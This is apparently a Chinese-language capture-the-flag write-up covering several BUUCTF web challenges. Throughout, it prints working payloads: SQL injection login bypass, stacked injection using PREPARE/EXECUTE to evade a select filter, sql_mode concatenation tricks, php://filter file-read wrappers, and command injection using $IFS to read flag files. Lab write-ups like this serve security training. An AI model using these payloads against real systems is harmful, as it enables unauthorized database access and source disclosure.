buuctf1
Warm——up
1 |
|
打开hint.php,看到flag在ffffllllaaaagggg,如何打开呢?
将代码放到phpstorm审计一下:
代码中有一个include文件包含函数,我们需要让判断进入到这个语句当中,
本来以这题是in_array绕过,但是发现,in_array的弱类型比较中,只有当haystack为数字时,needle才会自动被转化为数字,实现绕过。但是这里比较的对象为字符,弱类型比较在这里就行不通。
往下看 使用了一个mb_substr的函数(由于配置使用mb函数,所以这里改为substr效果一样),我们会发现下面in_array比较的对象变成是?前面的内容,然后这里返回的是true不是$_page的值,也就是说我们可以在?号后面拼接一个文件名
回到题目拼接试试:
EASYSQL
admin’or 1=1#即可
随便注
1
有注入点,看了一下源码,说sqlmap没有灵魂– 说明可以用sqlmap扫出来,那就等一下
这里过滤了select 意味着基本上所有注入语句都用不了,尝试使用堆叠注入,(好久没用了),因为堆叠注入可以不使用select 直接 用 use show之类的指令
查了一下,
payload:
1 | 1';use supersqli;show tables; |
1 | ';use supersqli;show columns from `1919810931114514`; |
这里一开始直接查询查询不出来,看了wp,发现需要加了反引号以后才可以查询,在mysql中尝试了一下,发现这个1919810931114514是一个关键字,所以需要加``
参考:https://www.cnblogs.com/yangzailu/p/6694000.html
接下来继续往下:
1 | 1';use supersqli;set @sql=concat('s','elect `flag` from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1; |
这个方法很巧妙啊,首先使用concat拼接语句,这样绕过select的检查,然后 set一个(这里就叫变量吧,比较好理解)储存其中 接下来使用prepare预处理 最后使用execute执行
参考https://www.cnblogs.com/geaozhang/p/9891338.html
参考:https://dev.mysql.com/doc/refman/8.0/en/execute.html
1 | flag{47b4a012-1ccf-42b7-865d-529d431e6676} |
Havefun
1 | $cat=$_GET['cat']; |
额直接?cat=dog就出来了。。。
FLAG_TABLE
EasySQL
依旧是堆叠注入:
1 | 1;show databases; |
1 | 1;use ctf;show columns; |
有一个ctf接下来不管用什么语句都过不去了,于是看了一下wp,发现是有源码的,但是我扫了以后发现是没有内容的?于是看到源码中:
1 | $sql = "select ".$post['query']."||flag from Flag"; |
这里使用mysql进行测试一下:
这里的||是表示或 所以我们其实可以这么看这个语句:
我们查询FLag表内的内容可以是:
1 | select * from FLag |
所以我们可以用个,进行分割表示select两段内容:
可以通过修改 sql_mode 模式 : PIPES_AS_CONCAT 来实现将 " || "
视为 字符串连接符 而非 或 运算符 .
因此这里预期的 Payload 是通过修改 sql_mode 来拿到 Flag ,如下
Payload : 1;set sql_mode=PIPES_AS_CONCAT;SELECT 1
拼接后就变成了 SELECT 1;set sql_mode=PIPES_AS_CONCAT;SELECT 1 || flag FROM Flag
include1
文件包含+封装协议,之前写过了:
1 | php://filter/read=convert.base64-encode/resource=flag.php |
Secret File
1
1 |
|
依旧使用php://filter封装协议。。。。
1 | php://filter/read=convert.base64-encode/resource=flag.php |
1 | 1;cat$IFS\index.php |
1 | /?ip= |
1 | 1;a=lag.php;cat$IFS\f$a |
1 | flag{020f69e9-f457-41a0-af71-e45666a2853a} |